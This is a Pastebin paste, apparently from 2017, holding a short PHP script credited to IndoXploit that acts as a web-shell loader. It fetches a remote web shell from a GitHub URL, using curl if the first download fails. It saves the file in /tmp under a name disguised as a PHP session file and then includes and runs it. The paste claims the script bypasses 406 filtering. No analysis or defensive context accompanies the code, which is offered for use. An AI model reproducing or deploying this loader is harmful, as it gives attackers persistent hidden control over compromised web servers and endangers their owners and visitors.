Advertisement
AZZATSSINS_CYBERSERK

TMP Shell

Sep 18th, 2017
525
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.67 KB | None | 0 0
  1. <?php
  2. # IndoXploit
  3. # Bypass 406 Not Acceptable & Auto Delete Shell
  4. # Coded by: L0c4lh34rtz - IndoXploit
  5. $URL = 'https://raw.githubusercontent.com/cyberserkers/webshell/master/Indone5Hell.php';
  6. $TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php';
  7. function M() {
  8. $FGT = @file_get_contents($GLOBALS['URL']);
  9. if(!$FGT) {
  10. echo `curl -k $(echo {$GLOBALS['URL']} | base64 -d) > {$GLOBALS['TMP']}`;
  11. } else {
  12. $HANDLE = fopen($GLOBALS['TMP'], 'w');
  13. fwrite($HANDLE, $FGT);
  14. fclose($HANDLE);
  15. }
  16. echo '<script>window.location="?indoxploit";</script>';
  17. }
  18. if(file_exists($TMP)) {
  19. if(filesize($TMP) === 0) {
  20. unlink($TMP);
  21. M();
  22. } else {
  23. include($TMP);
  24. }
  25. } else {
  26. M();
  27. }
  28. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement